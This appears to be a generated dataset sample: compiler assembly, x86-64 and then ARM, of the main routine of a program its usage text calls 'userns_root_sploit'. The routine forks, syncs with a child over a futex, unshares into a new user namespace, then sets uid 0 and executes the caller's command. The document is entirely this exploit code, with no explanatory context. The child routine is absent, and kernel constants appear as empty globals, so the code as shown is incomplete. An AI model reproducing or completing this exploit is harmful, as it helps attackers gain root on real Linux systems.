	.file	"extr_25450.c_main.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.8,"aMS",@progbits,1
	.align 8
.LC0:
	.string	"usage: userns_root_sploit COMMAND ARGS...\n\nThis will run a command as (global) uid 0 but no capabilities.\n"
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC1:
	.string	"mmap"
.LC2:
	.string	"signal"
.LC3:
	.string	"fork"
.LC4:
	.string	"futex"
.LC5:
	.string	"unshare(CLONE_NEWUSER)"
.LC6:
	.string	"wait"
.LC7:
	.string	"child failed"
.LC8:
	.string	"setresuid"
	.section	.text.startup,"ax",@progbits
	.p2align 4
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	push	rbx
	.cfi_def_cfa_offset 24
	.cfi_offset 3, -24
	sub	rsp, 24
	.cfi_def_cfa_offset 48
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR 8[rsp], rax
	xor	eax, eax
	cmp	edi, 1
	jle	.L30
	mov	ecx, DWORD PTR MAP_SHARED[rip]
	xor	r9d, r9d
	xor	edi, edi
	mov	rbx, rsi
	mov	edx, DWORD PTR PROT_READ[rip]
	or	ecx, DWORD PTR MAP_ANONYMOUS[rip]
	mov	esi, 4
	mov	r8d, -1
	or	edx, DWORD PTR PROT_WRITE[rip]
	call	mmap@PLT
	cmp	rax, QWORD PTR MAP_FAILED[rip]
	mov	QWORD PTR ftx[rip], rax
	je	.L31
.L4:
	xor	eax, eax
	call	getpid@PLT
	mov	esi, DWORD PTR SIG_DFL[rip]
	mov	edi, DWORD PTR SIGCHLD[rip]
	mov	DWORD PTR parent[rip], eax
	call	signal@PLT
	test	rax, rax
	jne	.L32
.L5:
	call	fork@PLT
	mov	ebp, eax
	cmp	eax, -1
	je	.L33
	test	eax, eax
	je	.L34
.L7:
	mov	rsi, QWORD PTR ftx[rip]
	mov	ecx, 1
	xor	r9d, r9d
	xor	r8d, r8d
	mov	DWORD PTR [rsi], 1
	mov	edx, DWORD PTR FUTEX_WAKE[rip]
	push	rax
	.cfi_def_cfa_offset 56
	mov	edi, DWORD PTR SYS_futex[rip]
	push	0
	.cfi_def_cfa_offset 64
	call	syscall@PLT
	pop	rdx
	.cfi_def_cfa_offset 56
	pop	rcx
	.cfi_def_cfa_offset 48
	test	rax, rax
	jne	.L35
.L8:
	mov	edi, DWORD PTR CLONE_NEWUSER[rip]
	call	unshare@PLT
	test	rax, rax
	jne	.L36
.L9:
	lea	rdi, 4[rsp]
	call	wait@PLT
	cmp	eax, ebp
	je	.L10
	lea	rsi, .LC6[rip]
	mov	edi, 1
	call	err@PLT
.L10:
	mov	edi, DWORD PTR 4[rsp]
	call	WIFEXITED@PLT
	test	eax, eax
	je	.L13
	mov	edi, DWORD PTR 4[rsp]
	call	WEXITSTATUS@PLT
	test	rax, rax
	jne	.L13
.L12:
	xor	edx, edx
	xor	esi, esi
	xor	edi, edi
	call	setresuid@PLT
	test	rax, rax
	jne	.L37
.L14:
	mov	rdi, QWORD PTR 8[rbx]
	lea	rsi, 8[rbx]
	call	execvp@PLT
	mov	rsi, QWORD PTR 8[rbx]
	mov	edi, 1
	call	err@PLT
	xor	eax, eax
	jmp	.L1
.L34:
	xor	eax, eax
	call	childfn@PLT
.L1:
	mov	rbx, QWORD PTR 8[rsp]
	xor	rbx, QWORD PTR fs:40
	jne	.L38
	add	rsp, 24
	.cfi_remember_state
	.cfi_def_cfa_offset 24
	pop	rbx
	.cfi_def_cfa_offset 16
	pop	rbp
	.cfi_def_cfa_offset 8
	ret
.L32:
	.cfi_restore_state
	lea	rsi, .LC2[rip]
	mov	edi, 1
	call	err@PLT
	jmp	.L5
.L13:
	lea	rsi, .LC7[rip]
	mov	edi, 1
	call	errx@PLT
	jmp	.L12
.L30:
	lea	rdi, .LC0[rip]
	call	printf@PLT
	mov	eax, 1
	jmp	.L1
.L35:
	lea	rsi, .LC4[rip]
	mov	edi, 1
	call	err@PLT
	jmp	.L8
.L37:
	lea	rsi, .LC8[rip]
	mov	edi, 1
	call	err@PLT
	jmp	.L14
.L36:
	lea	rsi, .LC5[rip]
	mov	edi, 1
	call	err@PLT
	jmp	.L9
.L33:
	lea	rsi, .LC3[rip]
	mov	edi, 1
	call	err@PLT
	jmp	.L7
.L31:
	lea	rsi, .LC1[rip]
	mov	edi, 1
	call	err@PLT
	jmp	.L4
.L38:
	call	__stack_chk_fail@PLT
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.comm	parent,4,4
	.comm	ftx,8,8
	.comm	SYS_futex,4,4
	.comm	SIG_DFL,4,4
	.comm	SIGCHLD,4,4
	.comm	PROT_WRITE,4,4
	.comm	PROT_READ,4,4
	.comm	MAP_SHARED,4,4
	.comm	MAP_FAILED,8,8
	.comm	MAP_ANONYMOUS,4,4
	.comm	FUTEX_WAKE,4,4
	.comm	CLONE_NEWUSER,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_25450.c_main.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"usage: userns_root_sploit COMMAND ARGS...\012\012Th"
	.ascii	"is will run a command as (global) uid 0 but no capa"
	.ascii	"bilities.\012\000"
	.align	2
.LC1:
	.ascii	"mmap\000"
	.align	2
.LC2:
	.ascii	"signal\000"
	.align	2
.LC3:
	.ascii	"fork\000"
	.align	2
.LC4:
	.ascii	"futex\000"
	.align	2
.LC5:
	.ascii	"unshare(CLONE_NEWUSER)\000"
	.align	2
.LC6:
	.ascii	"wait\000"
	.align	2
.LC7:
	.ascii	"child failed\000"
	.align	2
.LC8:
	.ascii	"setresuid\000"
	.section	.rodata.cst4,"aM",%progbits,4
	.align	2
.LC9:
	.word	__stack_chk_guard
	.section	.text.startup,"ax",%progbits
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 0, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, lr}
	ldr	r3, .L39
	sub	sp, sp, #28
	cmp	r0, #1
	ldr	r3, [r3]
	str	r3, [sp, #20]
	mov	r3,#0
	ble	.L30
	mov	r0, #0
	mov	r4, r1
	mvn	r1, #0
	ldr	lr, .L39+4
	ldr	r3, .L39+8
	ldr	ip, .L39+12
	ldr	r2, .L39+16
	ldr	lr, [lr]
	ldr	r3, [r3]
	ldr	ip, [ip]
	ldr	r2, [r2]
	orr	r3, lr, r3
	str	r1, [sp]
	orr	r2, ip, r2
	mov	r1, #4
	str	r0, [sp, #4]
	bl	mmap
	ldr	r3, .L39+20
	ldr	r7, .L39+24
	ldr	r3, [r3]
	str	r0, [r7]
	cmp	r0, r3
	beq	.L31
.L4:
	bl	getpid
	mov	r2, r0
	ldr	r1, .L39+28
	ldr	r0, .L39+32
	ldr	r3, .L39+36
	ldr	r1, [r1]
	ldr	r0, [r0]
	str	r2, [r3]
	bl	signal
	cmp	r0, #0
	bne	.L32
.L5:
	bl	fork
	cmn	r0, #1
	mov	r5, r0
	beq	.L33
	cmp	r0, #0
	beq	.L34
.L7:
	mov	r6, #1
	mov	ip, #0
	ldr	r1, [r7]
	ldr	r3, .L39+40
	ldr	r2, .L39+44
	str	r6, [r1]
	ldr	r0, [r3]
	ldr	r2, [r2]
	mov	r3, r6
	str	ip, [sp, #8]
	str	ip, [sp, #4]
	str	ip, [sp]
	bl	syscall
	cmp	r0, #0
	bne	.L35
.L8:
	ldr	r3, .L39+48
	ldr	r0, [r3]
	bl	unshare
	cmp	r0, #0
	bne	.L36
.L9:
	add	r0, sp, #16
	bl	wait
	cmp	r0, r5
	beq	.L10
	mov	r0, #1
	ldr	r1, .L39+52
	bl	err
.L10:
	ldr	r0, [sp, #16]
	bl	WIFEXITED
	cmp	r0, #0
	beq	.L13
	ldr	r0, [sp, #16]
	bl	WEXITSTATUS
	cmp	r0, #0
	bne	.L13
.L12:
	mov	r2, #0
	mov	r1, r2
	mov	r0, r2
	bl	setresuid
	cmp	r0, #0
	bne	.L37
.L14:
	add	r1, r4, #4
	ldr	r0, [r4, #4]
	bl	execvp
	mov	r0, #1
	ldr	r1, [r4, #4]
	bl	err
	mov	r0, #0
	b	.L1
.L34:
	bl	childfn
.L1:
	ldr	r3, .L39
	ldr	r2, [r3]
	ldr	r3, [sp, #20]
	eors	r2, r3, r2
	mov	r3, #0
	bne	.L38
	add	sp, sp, #28
	@ sp needed
	pop	{r4, r5, r6, r7, pc}
.L32:
	ldr	r1, .L39+56
	mov	r0, #1
	bl	err
	b	.L5
.L13:
	ldr	r1, .L39+60
	mov	r0, #1
	bl	errx
	b	.L12
.L30:
	ldr	r0, .L39+64
	bl	printf
	mov	r0, #1
	b	.L1
.L35:
	mov	r0, r6
	ldr	r1, .L39+68
	bl	err
	b	.L8
.L37:
	ldr	r1, .L39+72
	mov	r0, #1
	bl	err
	b	.L14
.L36:
	ldr	r1, .L39+76
	mov	r0, #1
	bl	err
	b	.L9
.L33:
	ldr	r1, .L39+80
	mov	r0, #1
	bl	err
	b	.L7
.L31:
	ldr	r1, .L39+84
	mov	r0, #1
	bl	err
	b	.L4
.L38:
	bl	__stack_chk_fail
.L40:
	.align	2
.L39:
	.word	.LC9
	.word	MAP_SHARED
	.word	MAP_ANONYMOUS
	.word	PROT_READ
	.word	PROT_WRITE
	.word	MAP_FAILED
	.word	ftx
	.word	SIG_DFL
	.word	SIGCHLD
	.word	parent
	.word	SYS_futex
	.word	FUTEX_WAKE
	.word	CLONE_NEWUSER
	.word	.LC6
	.word	.LC2
	.word	.LC7
	.word	.LC0
	.word	.LC4
	.word	.LC8
	.word	.LC5
	.word	.LC3
	.word	.LC1
	.size	main, .-main
	.comm	parent,4,4
	.comm	ftx,4,4
	.comm	SYS_futex,4,4
	.comm	SIG_DFL,4,4
	.comm	SIGCHLD,4,4
	.comm	PROT_WRITE,4,4
	.comm	PROT_READ,4,4
	.comm	MAP_SHARED,4,4
	.comm	MAP_FAILED,4,4
	.comm	MAP_ANONYMOUS,4,4
	.comm	FUTEX_WAKE,4,4
	.comm	CLONE_NEWUSER,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
